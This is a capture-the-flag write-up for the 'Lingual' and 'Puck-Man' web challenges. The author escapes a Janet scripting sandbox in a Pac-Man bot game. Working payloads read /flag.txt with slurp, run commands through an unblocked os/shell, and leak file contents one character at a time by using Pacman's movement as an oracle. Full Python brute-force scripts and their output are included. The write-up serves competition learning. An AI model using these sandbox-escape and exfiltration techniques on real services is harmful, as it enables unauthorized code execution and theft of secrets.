Lingual
Lingual was a Hard Web Exploitation challenge from the SVI US Cyber Open. These are my solutions for parts one and two.
Lingual was a Hard Web Exploitation challenge from the SVI US Cyber Open (In my opinion it was Medium, but Hard is the official difficulty). These are my solutions for parts one and two.
Official solutions for the whole web category here: https://github.com/jselliott/USCyberOpen2026/tree/main/challenges/web
Initial Analysis
Lingual came with two assets to start with, the sandbox.janet file and the main.go file.
Upon inspection of the instanced site, it looks like a Pac-man game with the ability to upload Janet scripts to control Pacman. All the Janet scripts go through a sandbox as shown in the main.go code.
1
cmd := exec.Command(janetBin, sandboxJanet, tmp.Name())
This sandbox contained some important restrictions:
1
2
3
4
5
6
7
(zap 'os :execute :spawn :shell :popen :pipe :proc-wait :proc-kill :proc-close
:setenv :getenv)
(zap 'ev :spawn :spawn-thread :thread-send :thread-receive :go :call)
(zap 'net :connect :listen :accept :read :write :close :chunk :flush
:resolve :address)
(zap 'ffi :native :lookup :fn :read :write
:jitfn :pointer :pointer-buffer :pointer-cfunction :trampoline)
At this point, it was clear that the challenge requires a sandbox escape, so I immediately started searching through the Janet documentation to find useful functions.
Slurp and Spit
The first set of functions that caught my eye were slurp (https://janetdocs.org/core-api/slurp) and spit (https://janetdocs.org/core-api/spit) as they allowed interacting with files on the host system and were not directly blocked by the sandbox restrictions. However, my initial exfiltration tests with payloads involving slurp and spit did not produce fruitful results, probably because the web directory was not writable.
Spit takes in two arguments, the file path to write to and the data (writes content). Slurp just takes the file path (reads content).
1
(defn move [state] (spit "/app/static/flag.txt" (slurp "/flag.txt")) :left)
When I ran this, Pacman did not move left which means spit likely errored out, adding protect which essentially tells Janet to catch errors, resulted in a successful move left.
1
(defn move [state] (protect (spit "/app/static/flag.txt" (slurp "/flag.txt"))) :left)
So, the problem can be pinpointed to the spit/slurp statement. From here, I assumed that this was a permission issue and pivoted to trying to find another way to exfiltrate data from the site.
Movement Oracle
After around an hour of going through the docs and finding various different functions, I realized that the easiest way of getting data out would just be through movement. The Janet code should definitely have permission to read the flag like most web CTF challenges, so instead of trying to directly extract the flag contents to the web directory (which the Janet code did not seem to have permission for), maybe it could tell Pacman to move in a certain direction, and the movement could be used as an oracle.
This method would require index by index exfiltration, so the get function can be used (https://janetdocs.org/core-api/get) to specify an index. One thing I didn’t intially account for was that Janet doesn’t have any default encoding, so comparing an index with “S”, for example, would always return false as it expected the ordinal integer representation of the character.
After fully implementing this strategy, I was left with this payload:
1
(defn move [state] (if (= (get (slurp "/flag.txt") <index>) <ordinal_val>) :left :up))
The python equivalent of this code, just to understand would be:
1
2
3
4
5
def move(state):
if open("/flag.txt", "r").read()[<index>] == "<char>":
return "left"
else:
return "up"
The reason why the else condition is “up” is because Pacman cannot move any higher from its starting position due to a barrier. “up” will just keep Pacman still.
To test this, I made a /flag.txt file on my home desktop and created a flag that starts with SVIUSCG. sandbox.janet only writes a move after it reads a non-empty line from stdin (which would normally be the game state, but it doesn’t matter in this case), so thats why I typed in trigger.
1
2
3
(defn move [state] (if (= (get (slurp "/flag.txt") 0) 83) :left :up))
This payload is basically testing if the first flag character is S.
1
2
3
4
┌──(kali㉿kali)-[~/Downloads/lingual]
└─$ janet sandbox.janet payload.janet
trigger
left
The payload triggers left! Just to confirm, let’s change the ordinal comparison to 82 which is incorrect.
1
(defn move [state] (if (= (get (slurp "/flag.txt") 0) 82) :left :up))
1
2
3
4
┌──(kali㉿kali)-[~/Downloads/lingual]
└─$ janet sandbox.janet payload.janet
trigger
up
Here it is also shown on remote:
Alright! So, the oracle is confirmed, now all I had to do was implement a script that uploads a payload testing for a specific char and position, then checks if pacman moves left.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import string
import requests
import json
validchars = string.digits + string.ascii_lowercase + "_-{}"
base = "{URL}"
flag = "SVIUSCG{"
def check_char(index, char):
code = f'(defn move [state] (if (= (get (slurp "/flag.txt") {index}) {ord(char)}) :left :up))'
session_id = requests.post(f"{base}/start", json={"code": code}).json()["session_id"]
xs = []
with requests.get(f"{base}/stream/{session_id}", stream=True) as r:
for line in r.iter_lines(chunk_size=1, decode_unicode=True):
if line.startswith("data"):
xs.append(json.loads(line[6:])["x"])
if len(xs) > 2:
return xs[1] > xs[2] # did pacman go left?
return False
while not flag.endswith("}"):
for char in validchars:
if check_char(len(flag), char):
flag += char
print(flag)
break
Note: A cooldown might have to be implemented to prevent the server from rate limiting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿kali)-[~/Downloads/lingual]
└─$ python3 solve.py
SVIUSCG{e
SVIUSCG{e3
SVIUSCG{e30
SVIUSCG{e30d
SVIUSCG{e30d9
SVIUSCG{e30d99
SVIUSCG{e30d997
SVIUSCG{e30d9972
SVIUSCG{e30d9972f
SVIUSCG{e30d9972fd
SVIUSCG{e30d9972fd5
SVIUSCG{e30d9972fd57
SVIUSCG{e30d9972fd57e
SVIUSCG{e30d9972fd57e1
SVIUSCG{e30d9972fd57e10
SVIUSCG{e30d9972fd57e10a
SVIUSCG{e30d9972fd57e10a5
SVIUSCG{e30d9972fd57e10a5a
SVIUSCG{e30d9972fd57e10a5a2
SVIUSCG{e30d9972fd57e10a5a20
SVIUSCG{e30d9972fd57e10a5a201
SVIUSCG{e30d9972fd57e10a5a2010
SVIUSCG{e30d9972fd57e10a5a20106
SVIUSCG{e30d9972fd57e10a5a201065
SVIUSCG{e30d9972fd57e10a5a2010652
SVIUSCG{e30d9972fd57e10a5a2010652b
SVIUSCG{e30d9972fd57e10a5a2010652b9
SVIUSCG{e30d9972fd57e10a5a2010652b9a
SVIUSCG{e30d9972fd57e10a5a2010652b9a1
SVIUSCG{e30d9972fd57e10a5a2010652b9a1e
SVIUSCG{e30d9972fd57e10a5a2010652b9a1eb
SVIUSCG{e30d9972fd57e10a5a2010652b9a1eb0
SVIUSCG{e30d9972fd57e10a5a2010652b9a1eb0}
Puck-Man
This challenge had a part 2 called Puck-Man which I wasn’t able to solve during the CTF because I majorly overthought it. The assets for this challenge were completely the same. The description for this was something like “Have you actually tried playing the game?”.
Now I’m writing this after the end of the CTF, and the intended solution was to actually make a Pacman AI to beat the first three levels (which is why I think this should have gone in Misc), but I was able to develop an unintended solution that was very close to getting the flag which I will show here.
It turns out the sandboxing restrictions that I simply accepted in part 1 were just broken. I stumbled upon this when I was testing the os/shell function from the documentation (https://janetdocs.org/core-api/os%2fshell) against my local sandbox instance, and for some reason the executed command worked? The original sandbox restrictions were treating os like a table (which it isn’t), which resulted in the correct os bindings like os/shell still working!
1
2
3
4
5
6
7
8
9
10
(defn move [state] (os/shell "echo flag > /tmp/output.txt 2>&1") :up)
┌──(kali㉿kali)-[~/Downloads/lingual]
└─$ janet sandbox.janet test.janet
trigger
up
┌──(kali㉿kali)-[~/Downloads/lingual]
└─$ cat /tmp/output.txt
flag
After discovering this much more powerful ‘sandbox escape’, I was able to directly call the /levelupdate binary and simulate a level up:
1
2
3
4
5
6
7
func callLevelUpdate(level int) string {
out, err := exec.Command("/levelupdate", strconv.Itoa(level)).Output()
if err != nil {
return fmt.Sprintf("Level %d complete!", level)
}
return strings.TrimSpace(string(out))
}
To read the output of the binary, I redirected the result to a tmp file and then read it out using the oracle from part 1. The only problem was… I had no clue which level the flag was on and trying all of them was just unfeasible with the rather slow speed of my oracle. To clarify, the binary was execute-only so strings was also not possible! I tried large levels like 1,000,000,000 and even the most famous pacman level 256. I also tried out of bound exfiltration to speed things up, but I couldn’t get it to work with the limited time I had for this challenge.
Example Level Outputs:
1
2
Level 1000000000 complete!
Level 256 complete!
Little did I know the flag was actually hidden at level 3 (this hurt my soul when I found out), but the author kindly let me try my solution out after the end of the CTF - it seemed to start leaking the flag message when setting the level to 3. So, I will take that as a small win; here is my final working solution:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string
import requests
import json
validchars = string.printable
base = "{URL}"
flag = ""
get_level = '(defn move [state] (os/shell "/levelupdate 3 > /tmp/output.txt 2>&1") :up)'
requests.post(f"{base}/start", json={"code": get_level})
def check_char(index, char):
code = f'(defn move [state] (if (= (get (slurp "/tmp/output.txt") {index}) {ord(char)}) :left :up))'
session_id = requests.post(f"{base}/start", json={"code": code}).json()["session_id"]
xs = []
with requests.get(f"{base}/stream/{session_id}", stream=True) as r:
for line in r.iter_lines(chunk_size=1, decode_unicode=True):
if line.startswith("data"):
xs.append(json.loads(line[6:])["x"])
if len(xs) > 2:
return xs[1] > xs[2] # did pacman go left?
return False
while not flag.endswith("}"):
for char in validchars:
if check_char(len(flag), char):
flag += char
print(flag)
break
Note: A cooldown might have to be implemented to prevent the server from rate limiting.
Retroactively, I probably should have just created a bash for loop to go through a bunch of numbers and grep out any flag like string, then leak it through the oracle. I was just not thinking very smartly because I was working on this along with several other challenges near the end of the CTF.
Conclusion
This was a really fun web challenge as a part of the SVI US Cyber Open! It wasn’t too hard but really made you read through documentation haha. Anyways, thanks a lot to the organizers for putting together this CTF, and I’m looking forward to hopefully joining the US Cyber Combine this year.


